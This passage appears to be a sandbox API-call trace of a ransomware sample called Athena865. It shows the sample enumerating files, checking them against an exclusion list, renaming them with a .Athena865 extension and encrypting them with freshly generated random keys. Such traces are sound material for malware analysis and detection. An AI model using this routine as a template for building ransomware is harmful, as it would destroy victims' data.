0x154 [0130.248] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4030) returned 0x100000 [0130.249] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.250] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.250] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.251] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.251] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.251] CloseHandle (hObject=0x154) returned 1 [0130.251] CloseHandle (hObject=0x17c) returned 1 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2=".") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="..") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="windows") returned -1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootmgr") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="temp") returned -1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="pagefile.sys") returned -1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="boot") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ids.txt") returned 1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ntuser.dat") returned -1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="perflogs") returned -1 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2="MSBuild") returned -1 [0130.252] lstrlenW (lpString="J0297725.WMF") returned 12 [0130.252] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297725.WMF" | out: lpString1="J0297725.WMF") returned="J0297725.WMF" [0130.252] lstrlenW (lpString="J0297725.WMF") returned 12 [0130.252] lstrlenW (lpString="Athena865") returned 9 [0130.252] lstrcmpiW (lpString1="97725.WMF", lpString2="Athena865") returned -1 [0130.252] lstrlenW (lpString=".dll") returned 4 [0130.252] lstrcmpiW (lpString1="J0297725.WMF", lpString2=".dll") returned 1 [0130.252] lstrlenW (lpString=".lnk") returned 4 [0130.253] lstrcmpiW (lpString1="J0297725.WMF", lpString2=".lnk") returned 1 [0130.253] lstrlenW (lpString=".ini") returned 4 [0130.253] lstrcmpiW (lpString1="J0297725.WMF", lpString2=".ini") returned 1 [0130.253] lstrlenW (lpString=".sys") returned 4 [0130.253] lstrcmpiW (lpString1="J0297725.WMF", lpString2=".sys") returned 1 [0130.253] lstrlenW (lpString="J0297725.WMF") returned 12 [0130.253] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.Athena865") returned 73 [0130.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.athena865"), dwFlags=0x1) returned 1 [0130.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.254] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16950) returned 1 [0130.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.255] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.255] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.255] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.256] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4540, lpName=0x0) returned 0x154 [0130.257] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4540) returned 0x100000 [0130.258] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.259] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.259] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.260] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.260] CloseHandle (hObject=0x154) returned 1 [0130.260] CloseHandle (hObject=0x17c) returned 1 [0130.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.261] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2=".") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="..") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="windows") returned -1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootmgr") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="temp") returned -1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="pagefile.sys") returned -1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="boot") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ids.txt") returned 1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ntuser.dat") returned -1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="perflogs") returned -1 [0130.261] lstrcmpiW (lpString1="J0297727.WMF", lpString2="MSBuild") returned -1 [0130.261] lstrlenW (lpString="J0297727.WMF") returned 12 [0130.261] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297727.WMF" | out: lpString1="J0297727.WMF") returned="J0297727.WMF" [0130.261] lstrlenW (lpString="J0297727.WMF") returned 12 [0130.261] lstrlenW (lpString="Athena865") returned 9 [0130.262] lstrcmpiW (lpString1="97727.WMF", lpString2="Athena865") returned -1 [0130.262] lstrlenW (lpString=".dll") returned 4 [0130.262] lstrcmpiW (lpString1="J0297727.WMF", lpString2=".dll") returned 1 [0130.262] lstrlenW (lpString=".lnk") returned 4 [0130.262] lstrcmpiW (lpString1="J0297727.WMF", lpString2=".lnk") returned 1 [0130.262] lstrlenW (lpString=".ini") returned 4 [0130.262] lstrcmpiW (lpString1="J0297727.WMF", lpString2=".ini") returned 1 [0130.262] lstrlenW (lpString=".sys") returned 4 [0130.262] lstrcmpiW (lpString1="J0297727.WMF", lpString2=".sys") returned 1 [0130.262] lstrlenW (lpString="J0297727.WMF") returned 12 [0130.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.Athena865") returned 73 [0130.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.athena865"), dwFlags=0x1) returned 1 [0130.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.263] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15516) returned 1 [0130.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.264] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.265] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.265] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.265] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fa0, lpName=0x0) returned 0x154 [0130.267] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fa0) returned 0x100000 [0130.268] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.269] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.269] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.270] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.270] CloseHandle (hObject=0x154) returned 1 [0130.270] CloseHandle (hObject=0x17c) returned 1 [0130.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.270] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0130.270] lstrcmpiW (lpString1="J0297757.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.270] lstrcmpiW (lpString1="J0297757.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.270] lstrcmpiW (lpString1="J0297757.WMF", lpString2=".") returned 1 [0130.270] lstrcmpiW (lpString1="J0297757.WMF", lpString2="..") returned 1 [0130.270] lstrcmpiW (lpString1="J0297757.WMF", lpString2="windows") returned -1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootmgr") returned 1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="temp") returned -1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="pagefile.sys") returned -1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="boot") returned 1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ids.txt") returned 1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ntuser.dat") returned -1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="perflogs") returned -1 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2="MSBuild") returned -1 [0130.271] lstrlenW (lpString="J0297757.WMF") returned 12 [0130.271] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297757.WMF" | out: lpString1="J0297757.WMF") returned="J0297757.WMF" [0130.271] lstrlenW (lpString="J0297757.WMF") returned 12 [0130.271] lstrlenW (lpString="Athena865") returned 9 [0130.271] lstrcmpiW (lpString1="97757.WMF", lpString2="Athena865") returned -1 [0130.271] lstrlenW (lpString=".dll") returned 4 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2=".dll") returned 1 [0130.271] lstrlenW (lpString=".lnk") returned 4 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2=".lnk") returned 1 [0130.271] lstrlenW (lpString=".ini") returned 4 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2=".ini") returned 1 [0130.271] lstrlenW (lpString=".sys") returned 4 [0130.271] lstrcmpiW (lpString1="J0297757.WMF", lpString2=".sys") returned 1 [0130.271] lstrlenW (lpString="J0297757.WMF") returned 12 [0130.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.Athena865") returned 73 [0130.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.athena865"), dwFlags=0x1) returned 1 [0130.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.273] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18750) returned 1 [0130.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.273] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.274] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.274] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.274] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c40, lpName=0x0) returned 0x154 [0130.276] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c40) returned 0x100000 [0130.277] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.278] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.278] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.279] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297759.WMF" | out: lpString1="J0297759.WMF") returned="J0297759.WMF" [0130.279] lstrlenW (lpString="J0297759.WMF") returned 12 [0130.279] lstrlenW (lpString="Athena865") returned 9 [0130.279] lstrcmpiW (lpString1="97759.WMF", lpString2="Athena865") returned -1 [0130.279] lstrlenW (lpString=".dll") returned 4 [0130.280] lstrcmpiW (lpString1="J0297759.WMF", lpString2=".dll") returned 1 [0130.280] lstrlenW (lpString=".lnk") returned 4 [0130.280] lstrcmpiW (lpString1="J0297759.WMF", lpString2=".lnk") returned 1 [0130.280] lstrlenW (lpString=".ini") returned 4 [0130.280] lstrcmpiW (lpString1="J0297759.WMF", lpString2=".ini") returned 1 [0130.280] lstrlenW (lpString=".sys") returned 4 [0130.280] lstrcmpiW (lpString1="J0297759.WMF", lpString2=".sys") returned 1 [0130.280] lstrlenW (lpString="J0297759.WMF") returned 12 [0130.280] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.Athena865") returned 73 [0130.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.athena865"), dwFlags=0x1) returned 1 [0130.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.281] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18784) returned 1 [0130.282] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.282] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.282] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.283] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c60, lpName=0x0) returned 0x154 [0130.284] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c60) returned 0x100000 [0130.285] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.286] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.286] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.287] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0300862.WMF" | out: lpString1="J0300862.WMF") returned="J0300862.WMF" [0130.287] lstrlenW (lpString="J0300862.WMF") returned 12 [0130.287] lstrlenW (lpString="Athena865") returned 9 [0130.287] lstrcmpiW (lpString1="00862.WMF", lpString2="Athena865") returned -1 [0130.287] lstrlenW (lpString=".dll") returned 4 [0130.287] lstrcmpiW (lpString1="J0300862.WMF", lpString2=".dll") returned 1 [0130.287] lstrlenW (lpString=".lnk") returned 4 [0130.287] lstrcmpiW (lpString1="J0300862.WMF", lpString2=".lnk") returned 1 [0130.287] lstrlenW (lpString=".ini") returned 4 [0130.287] lstrcmpiW (lpString1="J0300862.WMF", lpString2=".ini") returned 1 [0130.287] lstrlenW (lpString=".sys") returned 4 [0130.287] lstrcmpiW (lpString1="J0300862.WMF", lpString2=".sys") returned 1 [0130.287] lstrlenW (lpString="J0300862.WMF") returned 12 [0130.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.Athena865") returned 73 [0130.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.athena865"), dwFlags=0x1) returned 1 [0130.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.291] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17796) returned 1 [0130.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.291] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.291] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.292] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4890, lpName=0x0) returned 0x154 [0130.293] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4890) returned 0x100000 [0130.294] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.295] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 